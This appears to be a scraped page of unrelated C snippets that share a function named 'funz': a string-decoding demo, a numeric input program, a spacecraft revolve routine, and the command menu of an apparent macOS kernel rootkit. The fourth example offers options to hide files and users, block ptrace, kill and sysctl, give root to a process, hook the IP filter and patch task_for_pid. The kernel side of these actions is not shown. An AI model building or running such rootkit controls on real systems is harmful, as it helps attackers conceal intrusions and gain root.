Esempio n. 1
0
int main () {
  struct dati d;
   const char src[256] = "batmanandrobin%40yahoo.com";
   funz(&d, src );
   printa(d.dato, d.lung);
   return(0);
}
Esempio n. 2
0
int main()
{
double a;
int n;

	printf("Inserisci N e A: ");
	scanf("%d%lf", &n, &a);

	printf("Risultato: %4.2f", funz(a, n));

	fflush(stdin);
	getchar();
	return 0;
}
Esempio n. 3
0
static void revolve (float c[3], float mystate[12], float other[12])
{
//BEGIN::PROC::revolve
/*
 * Revolving function
 */
float v[4];
float q[4];
float a[4];
float a2[4];
float asse[3];
float d;
float b;
float b2;
int dir=sp;

if (PisRevolving (other)) {
	dir = revDir (other,c);
	if (!dir)
		dir=sp;
}

PgetAsteroidNormal(asse);

v[3]=0;

mathVecSubtract (v,c,mystate,3);

d=mathVecMagnitude(v, 3);
if(d >= 0.3f) {
	d=0.2355f/d; // (pi/2)*(0.3/distance)
}
else {
	d= 1.57f - 2.615f*d; // pi - (pi/2)*(distance/0.25)
}

// This creates the quaternion
// (yeah, a quaternion, that's cool right?)
b=d-1.57f;
b2=b*b*b;
q[3]=(-b + b2/6 - b2*b*b/120);
b2=d*d*d;
mathVecMul (q,asse,dir*(d - b2/6 + b2*d*d/120)); 

// v[] is rotated according to the quaternion
funz(a2,q,v);
mathVecMul(q,q,-1);
funz(a,a2,q);

//then it's normalized and converted in velocity
mathVecNormalize(a, 3);
mathVecMul(a,a,0.0232f);
ZRSetVelocityTarget(a);


q[3]=1;
mathVecMul(q,asse,-dir*0.043619f);

funz(a2,q,v);
mathVecMul(q,q,-1);
funz(a,a2,q);

ZRSetAttitudeTarget(a);

//END::PROC::revolve
}
Esempio n. 4
0
void main_menu()
{
	char str;
	
	do {
		printf("--> ");
		
		str = getchar();
		
		switch(str) {
			set_pid:
			case '1':
			{
				printf("\t--> Enter PID: ");
				
				char tmppid[8];
				
				scanf(" %s", tmppid);
				
				int pid = atoi(tmppid);
				
				if(pid <= 0 || pid > 99999) {
					printf("\tInvalid pid\n");
					
					break;
				}
				
				execute_cmd(SET_PID, tmppid);
				
				pid_is_set = 1;
				
				break;
			}
				
			case '2':
				printf("Anti-ptrace on\n");
				
				execute_cmd(ANTI_PTRACE_ON, NULL);
				
				break;
				
			case '3':
				printf("Anti-ptrace off\n");
				
				execute_cmd(ANTI_PTRACE_OFF, NULL);
				
				break;
				
			case '4':
				if(pid_is_set == 1) {
					printf("Anti-kill on\n");
					
					execute_cmd(ANTI_KILL_ON, NULL);
				} else {
					printf("You must first set a pid and then run desired command again!\n");
					
					goto set_pid;
				}
				
				break;
				
			case '5':
			{
				printf("Anti-kill off\n");
				
				execute_cmd(ANTI_KILL_OFF, NULL);
				
				break;
			}
				
			case '6':
				if(pid_is_set == 1) {
					printf("Anti-sysctl on\n");
					
					execute_cmd(ANTI_SYSCTL_ON, NULL);
				} else {
					printf("You must first set a pid and then run desired command again!\n");
					
					goto set_pid;
				}
				
				break;
				
			case '7':
			{
				printf("Anti-sysctl off\n");
				
				execute_cmd(ANTI_SYSCTL_OFF, NULL);
				
				break;
			}
				
			/*
			case '8':
				 break;
				 
			case '9':
				 break;
			 */
				
			case 'a':
			{
				char *tohide = malloc(256);
				
				printf("\t--> Enter file/directory name to hide (Only file/dir name, not path): ");
				
				if(scanf(" %256s", tohide) != 1) {
					printf("Invalid name\n");
					
					break;
				}
				
				unsigned long inputlen = strlen(tohide);
				
				if(inputlen == 0 || inputlen >= 255) {
					printf("Invalid name\n");
					
					break;
				}
				
				int i;
				
				for(i = 0; i < inputlen; i++) {
					if(tohide[i] == '/') {
						printf("Invalid name\n");
						
						break;
					}
				}
				
				execute_cmd(HIDE_FILE_ON, tohide);
				
				free(tohide);
				
				break;
			}
				
			case 'b':
				printf("Hide file off\n");
				
				execute_cmd(HIDE_FILE_OFF, NULL);
				
				break;
				
			case 'c':
			{
				printf("\t--> Enter PID to give root: ");
				
				char pid[8];
				
				scanf(" %s", pid);
				
				execute_cmd(GIVE_ROOT, pid);
				
				break;
			}
				
			case 'd':
				printf("IP filter hooked\n");
				
				execute_cmd(HOOK_IPF_ON, NULL);
				
				break;
				
			case 'e':
				printf("IP filter unhooked\n");
				
				execute_cmd(HOOK_IPF_OFF, NULL);
				
				break;
				
			case 'f':
				printf("Patched task_for_pid()\n");
				
				execute_cmd(PATCH_TASK_FOR_PID, NULL);
				
				break;
				
			case 'g':
				printf("Unpatched task_for_pid()\n");
				
				execute_cmd(UNPATCH_TASK_FOR_PID, NULL);
				
				break;
				
			case 'h':
				printf("Anti-kauth on\n");
				
				execute_cmd(ANTI_KAUTH_ON, NULL);
				
				break;
				
			case 'i':
				printf("Anti-kauth off\n");
				
				execute_cmd(ANTI_KAUTH_OFF, NULL);
				
				break;
				
			case 'j':
				printf("Patched resume flag\n");
				
				execute_cmd(PATCH_RESUME_FLAG, NULL);
				
				break;
				
			case 'k':
				printf("Unpatched resume flag\n");
				
				execute_cmd(UNPATCH_RESUME_FLAG, NULL);
				
				break;
				
			case 'l':
				printf("MSR bit patched\n");
				
				execute_cmd(PATCH_SINGLESTEP, NULL);
				
				break;
				
			case 'm':
				printf("MSR bit unpatched\n");
				
				execute_cmd(UNPATCH_SINGLESTEP, NULL);
				
				break;
				
			case 'n':
			{
				char *user_tohide = malloc(32);
				
				printf("\t--> Enter user name to hide: ");
				
				if(scanf(" %32s", user_tohide) != 1) {
					printf("Invalid name\n");
					
					break;
				}
				
				unsigned long inputlen = strlen(user_tohide);
				
				if(inputlen == 0 || inputlen >= 32) {
					printf("Invalid name\n");
					
					break;
				}
				
				int i;
				
				for(i = 0; i < inputlen; i++) {
					if(user_tohide[i] == ' ') {
						printf("Invalid name\n");
						
						break;
					}
				}
				
				execute_cmd(HIDE_USER_ON, user_tohide);
				
				free(user_tohide);
				
				break;
			}
				
			case 'o':
				printf("Hide user off\n");
				
				execute_cmd(HIDE_USER_OFF, NULL);
				
				break;
				
			case 'z':
				funz();
				
				break;
				
			case '?':
				funz();
				
				break;
				
			case 'q':
				printf("Quitting...\n");
				
				exit(0);
				
				break;
				
			case 'x':
				printf("Quitting...\n");
				
				exit(0);
				
				break;
				
			default:
				printf("Invalid selection!\n");
				
				break;
		}
	} while(getchar() != '\n');
}